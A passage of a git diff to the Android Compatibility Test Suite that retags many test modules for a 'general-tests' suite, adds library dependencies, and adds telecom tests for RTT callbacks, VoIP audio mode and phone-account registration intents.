+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdkTestCases
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
index 8e394d8..bb0facf 100644
--- a/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Permission Selinux test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/selinux/selinuxTargetSdk2/Android.mk b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
index 9397f97..49a0868 100755
--- a/tests/tests/selinux/selinuxTargetSdk2/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk2/Android.mk
@@ -17,8 +17,11 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    legacy-android-test
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsSelinuxTargetSdk2TestCases
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
index b53a7c4..e37d1c9 100644
--- a/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk2/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Permission Selinux test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
index 49a3b70..ec5d89a 100755
--- a/tests/tests/shortcutmanager/Android.mk
+++ b/tests/tests/shortcutmanager/Android.mk
@@ -36,7 +36,7 @@
 
 LOCAL_PACKAGE_NAME := CtsShortcutManagerTestCases
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/shortcutmanager/AndroidTest.xml b/tests/tests/shortcutmanager/AndroidTest.xml
index 4e98593..1d38171 100644
--- a/tests/tests/shortcutmanager/AndroidTest.xml
+++ b/tests/tests/shortcutmanager/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for ShortcutManager CTS test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
index a11c978..8c0bdb7 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher1
 
@@ -68,7 +68,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher2
 
@@ -98,7 +98,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher3
 
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
index bc4aaa7..509c724 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.launcher4
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
index 1103194..1ece5e9 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package1
 
@@ -67,7 +67,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package2
 
@@ -97,7 +97,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package3
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
index 0b1ff53..f87e2da 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.content.pm.cts.shortcutmanager.packages.package4
 
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
index 7e6d869..a3794f8 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutManagerThrottlingTest
 
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index c7f2afb..cd577cc 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -19,6 +19,7 @@
   libbacktrace_offline \
   libbacktrace \
   libunwind \
+  libunwindstack \
   libziparchive \
   libz \
   libgtest \
@@ -44,7 +45,7 @@
   $($(LOCAL_2ND_ARCH_VAR_PREFIX)TARGET_OBJCOPY) --add-section .testzipdata=$$TMP_FILE $(linked_module) && \
   rm -f $$TMP_FILE
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_CTS_TEST_PACKAGE := android.simpleperf
 LOCAL_FORCE_STATIC_EXECUTABLE := true
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
index b84be25..1fb26b7 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, .)
 
@@ -30,6 +30,6 @@
 
 LOCAL_SDK_VERSION := current
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 572871b..3995510 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSpeechTestCases
 
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 1af6702..d75eef6 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -21,13 +21,13 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 6aed2f8..4806f4b 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index ac3bb93..cb54a25 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS SystemUI test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="sysui" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 6b12ce8..3b8b683 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -24,13 +24,17 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	ctstestrunner \
+	android-support-test \
+	legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 6dcd6ca..f0cad67 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -74,6 +74,13 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver">
+            <intent-filter>
+                <action android:name="android.telecom.action.PHONE_ACCOUNT_REGISTERED"/>
+                <action android:name="android.telecom.action.PHONE_ACCOUNT_UNREGISTERED"/>
+            </intent-filter>
+        </receiver>
+
         <activity android:name="android.telecom.cts.MockDialerActivity">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 3a70102..93e4c65 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -68,6 +68,10 @@
     TestUtils.InvokeCounter mOnConnectionEventCounter;
     TestUtils.InvokeCounter mOnExtrasChangedCounter;
     TestUtils.InvokeCounter mOnPropertiesChangedCounter;
+    TestUtils.InvokeCounter mOnRttModeChangedCounter;
+    TestUtils.InvokeCounter mOnRttStatusChangedCounter;
+    TestUtils.InvokeCounter mOnRttInitiationFailedCounter;
+    TestUtils.InvokeCounter mOnRttRequestCounter;
     Bundle mPreviousExtras;
     int mPreviousProperties = -1;
 
@@ -228,6 +232,27 @@
                 Log.i(TAG, "onSilenceRinger");
                 mOnSilenceRingerCounter.invoke();
             }
+
+            @Override
+            public void onRttModeChanged(Call call, int mode) {
+                mOnRttModeChangedCounter.invoke(call, mode);
+            }
+
+            @Override
+            public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+                mOnRttStatusChangedCounter.invoke(call, enabled, rttCall);
+            }
+
+            @Override
+            public void onRttRequest(Call call, int id) {
+                mOnRttRequestCounter.invoke(call, id);
+            }
+
+            @Override
+            public void onRttInitiationFailure(Call call, int reason) {
+                mOnRttInitiationFailedCounter.invoke(call, reason);
+            }
+
         };
 
         MockInCallService.setCallbacks(mInCallCallbacks);
@@ -242,6 +267,11 @@
         mOnConnectionEventCounter = new TestUtils.InvokeCounter("OnConnectionEvent");
         mOnExtrasChangedCounter = new TestUtils.InvokeCounter("OnDetailsChangedCounter");
         mOnPropertiesChangedCounter = new TestUtils.InvokeCounter("OnPropertiesChangedCounter");
+        mOnRttModeChangedCounter = new TestUtils.InvokeCounter("mOnRttModeChangedCounter");
+        mOnRttStatusChangedCounter = new TestUtils.InvokeCounter("mOnRttStatusChangedCounter");
+        mOnRttInitiationFailedCounter =
+                new TestUtils.InvokeCounter("mOnRttInitiationFailedCounter");
+        mOnRttRequestCounter = new TestUtils.InvokeCounter("mOnRttRequestCounter");
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index 1895b0f..0b70f1b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -19,6 +19,8 @@
 import static android.telecom.cts.TestUtils.*;
 
 import android.content.ComponentName;
+import android.content.Context;
+import android.media.AudioManager;
 import android.telecom.Call;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
@@ -27,7 +29,8 @@
 import java.util.Collection;
 
 /**
- * Test some additional {@link ConnectionService} APIs not already covered by other tests.
+ * Test some additional {@link ConnectionService} and {@link Connection} APIs not already covered
+ * by other tests.
  */
 public class ConnectionServiceTest extends BaseTelecomTestWithMockServices {
 
@@ -104,6 +107,23 @@
         assertCallState(call, Call.STATE_DIALING);
     }
 
+    public void testVoipAudioModePropagation() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        placeAndVerifyCall();
+        MockConnection connection = verifyConnectionForOutgoingCall();
+        connection.setAudioModeIsVoip(true);
+        waitOnAllHandlers(getInstrumentation());
+
+        AudioManager audioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertEquals(AudioManager.MODE_IN_COMMUNICATION, audioManager.getMode());
+        connection.setAudioModeIsVoip(false);
+        waitOnAllHandlers(getInstrumentation());
+        assertEquals(AudioManager.MODE_IN_CALL, audioManager.getMode());
+    }
+
     public void testGetAllConnections() {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 5183bd4..da4fcf5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -37,6 +37,9 @@
     public static final int ON_CALL_EVENT = 2;
     public static final int ON_PULL_EXTERNAL_CALL = 3;
     public static final int ON_EXTRAS_CHANGED = 4;
+    public static final int ON_START_RTT = 5;
+    public static final int ON_RTT_REQUEST_RESPONSE = 6;
+    public static final int ON_STOP_RTT = 7;
 
     private CallAudioState mCallAudioState =
             new CallAudioState(false, CallAudioState.ROUTE_EARPIECE, ROUTE_EARPIECE | ROUTE_SPEAKER);
@@ -46,6 +49,7 @@
     private MockVideoProvider mMockVideoProvider;
     private PhoneAccountHandle mPhoneAccountHandle;
     private RemoteConnection mRemoteConnection = null;
+    private RttTextStream mRttTextStream;
 
     private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(10);
 
@@ -187,6 +191,36 @@
         }
     }
 
+    @Override
+    public void onStartRtt(RttTextStream rttTextStream) {
+        super.onStartRtt(rttTextStream);
+        if (mInvokeCounterMap.get(ON_START_RTT) != null) {
+            mInvokeCounterMap.get(ON_START_RTT).invoke(rttTextStream);
+        }
+    }
+
+    @Override
+    public void handleRttUpgradeResponse(RttTextStream rttTextStream) {
+        super.handleRttUpgradeResponse(rttTextStream);
+        if (rttTextStream != null) {
+            setRttTextStream(rttTextStream);
+            setConnectionProperties(getConnectionProperties() | PROPERTY_IS_RTT);
+        }
+
+        if (mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE) != null) {
+            mInvokeCounterMap.get(ON_RTT_REQUEST_RESPONSE).invoke(rttTextStream);
+        }
+    }
+
+    @Override
+    public void onStopRtt() {
+        super.onStopRtt();
+
+        if (mInvokeCounterMap.get(ON_STOP_RTT) != null) {
+            mInvokeCounterMap.get(ON_STOP_RTT).invoke();
+        }
+    }
+
     public int getCurrentState()  {
         return mState;
     }
@@ -264,6 +298,14 @@
         return mRemoteConnection;
     }
 
+    public void setRttTextStream(RttTextStream rttTextStream) {
+        mRttTextStream = rttTextStream;
+    }
+
+    public RttTextStream getRttTextStream() {
+        return mRttTextStream;
+    }
+
     private static String getCounterLabel(int counterIndex) {
         switch (counterIndex) {
             case ON_POST_DIAL_WAIT:
@@ -274,6 +316,12 @@
                 return "onPullExternalCall";
             case ON_EXTRAS_CHANGED:
                 return "onExtrasChanged";
+            case ON_START_RTT:
+                return "onStartRtt";
+            case ON_RTT_REQUEST_RESPONSE:
+                return "onRttRequestResponse";
+            case ON_STOP_RTT:
+                return "onStopRtt";
             default:
                 return "Callback";
         }
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 4b9063d..6e022e6 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -65,6 +65,11 @@
         }
         connection.setVideoState(request.getVideoState());
         connection.setInitializing();
+        if (request.isRequestingRtt()) {
+            connection.setRttTextStream(request.getRttTextStream());
+            connection.setConnectionProperties(connection.getConnectionProperties() |
+                    Connection.PROPERTY_IS_RTT);
+        }
 
         outgoingConnections.add(connection);
         lock.release();
@@ -82,6 +87,11 @@
                 | Connection.CAPABILITY_HOLD);
         connection.createMockVideoProvider();
         ((Connection) connection).setVideoState(request.getVideoState());
+        if (request.isRequestingRtt()) {
+            connection.setRttTextStream(request.getRttTextStream());
+            connection.setConnectionProperties(connection.getConnectionProperties() |
+                    Connection.PROPERTY_IS_RTT);
+        }
         connection.setRinging();
 
         incomingConnections.add(connection);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
index 4ff3cb6..e13335e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
@@ -61,6 +61,10 @@
         public void onCannedTextResponsesLoaded(Call call, List<String> cannedTextResponses) {}
         public void onSilenceRinger() {}
         public void onConnectionEvent(Call call, String event, Bundle extras) {}
+        public void onRttModeChanged(Call call, int mode) {}
+        public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {}
+        public void onRttRequest(Call call, int id) {}
+        public void onRttInitiationFailure(Call call, int reason) {}
 
         final public MockInCallService getService() {
             return mService;
@@ -153,6 +157,38 @@
                 getCallbacks().onConnectionEvent(call, event, extras);
             }
         }
+
+        @Override
+        public void onRttModeChanged(Call call, int mode) {
+            super.onRttModeChanged(call, mode);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttModeChanged(call, mode);
+            }
+        }
+
+        @Override
+        public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+            super.onRttStatusChanged(call, enabled, rttCall);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttStatusChanged(call, enabled, rttCall);
+            }
+        }
+
+        @Override
+        public void onRttRequest(Call call, int id) {
+            super.onRttRequest(call, id);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttRequest(call, id);
+            }
+        }
+
+        @Override
+        public void onRttInitiationFailure(Call call, int reason) {
+            super.onRttInitiationFailure(call, reason);
+            if (getCallbacks() != null) {
+                getCallbacks().onRttInitiationFailure(call, reason);
+            }
+        }
     };
 
     private void saveVideoCall(Call call, VideoCall videoCall) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
new file mode 100644
index 0000000..0601d75
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * Receives {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} and
+ * {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} intents.
+ */
+public class MockPhoneAccountChangedReceiver extends BroadcastReceiver {
+    public interface IntentListener {
+        void onPhoneAccountRegistered(PhoneAccountHandle handle);
+        void onPhoneAccountUnregistered(PhoneAccountHandle handle);
+    }
+
+    private static IntentListener sIntentListener = null;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (sIntentListener != null) {
+            if (TelecomManager.ACTION_PHONE_ACCOUNT_REGISTERED.equals(intent.getAction())) {
+                sIntentListener.onPhoneAccountRegistered(intent.getParcelableExtra(
+                        TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+            } else if (TelecomManager.ACTION_PHONE_ACCOUNT_UNREGISTERED.equals(
+                    intent.getAction())) {
+                sIntentListener.onPhoneAccountUnregistered(intent.getParcelableExtra(
+                        TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+            }
+        }
+    }
+
+    public static void setIntentListener(IntentListener listener) {
+        sIntentListener = listener;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
index 4374516..c9b5000 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
@@ -43,6 +43,22 @@
     public static final int TEST_LENGTH = 10;
     public static final String TEST_ENCODING = "enUS";
 
+    private TestUtils.InvokeCounter mPhoneAccountRegisteredLatch;
+    private TestUtils.InvokeCounter mPhoneAccountUnRegisteredLatch;
+
+    MockPhoneAccountChangedReceiver.IntentListener mPhoneAccountIntentListener =
+            new MockPhoneAccountChangedReceiver.IntentListener() {
+                @Override
+                public void onPhoneAccountRegistered(PhoneAccountHandle handle) {
+                    mPhoneAccountRegisteredLatch.invoke(handle);
+                }
+
+                @Override
+                public void onPhoneAccountUnregistered(PhoneAccountHandle handle) {
+                    mPhoneAccountUnRegisteredLatch.invoke(handle);
+                }
+            };
+
     private static Bundle createTestBundle() {
         Bundle testBundle = new Bundle();
         testBundle.putInt(PhoneAccount.EXTRA_CALL_SUBJECT_MAX_LENGTH, TEST_LENGTH);
@@ -96,6 +112,8 @@
             return;
         }
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mPhoneAccountRegisteredLatch = new TestUtils.InvokeCounter("registerPhoneAcct");
+        mPhoneAccountUnRegisteredLatch = new TestUtils.InvokeCounter("unRegisterPhoneAcct");
     }
 
     @Override
@@ -225,4 +243,38 @@
         assertTrue("Phone account should support voicemail URI scheme.",
                 retrievedPhoneAccount.supportsUriScheme(PhoneAccount.SCHEME_VOICEMAIL));
     }
+
+    /**
+     * Verifies that the {@link TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} intent is sent to
+     * the default dialer when a phone account is registered and,
+     * {@link TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} is sent when a phone account is
+     * unregistered.
+     * @throws Exception
+     */
+    public void testRegisterUnregisterPhoneAccountIntent() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        MockPhoneAccountChangedReceiver.setIntentListener(mPhoneAccountIntentListener);
+        String previousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
+        try {
+            TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
+
+            mTelecomManager.registerPhoneAccount(TEST_NO_SIM_PHONE_ACCOUNT);
+
+            mPhoneAccountRegisteredLatch.waitForCount(1);
+            PhoneAccountHandle handle =
+                    (PhoneAccountHandle) mPhoneAccountRegisteredLatch.getArgs(0)[0];
+            assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle);
+
+            mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
+            mPhoneAccountUnRegisteredLatch.waitForCount(1);
+            PhoneAccountHandle handle2 =
+                    (PhoneAccountHandle) mPhoneAccountUnRegisteredLatch.getArgs(0)[0];
+            assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle2);
+        } finally {
+            TestUtils.setDefaultDialer(getInstrumentation(), previousDefaultDialer);
+        }
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
new file mode 100644
index 0000000..a11079f
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.os.Bundle;
+import android.telecom.Call;
+import android.telecom.Connection;
+import android.telecom.TelecomManager;
+
+import java.io.IOException;
+
+public class RttOperationsTest extends BaseTelecomTestWithMockServices {
+    private static final int RTT_SEND_TIMEOUT_MILLIS = 1000;
+    private static final String[] TEST_STRINGS = {
+            "A",
+            "AB",
+            "ABCDEFG",
+            "お疲れ様でした",
+            "😂😂😂💯"
+    };
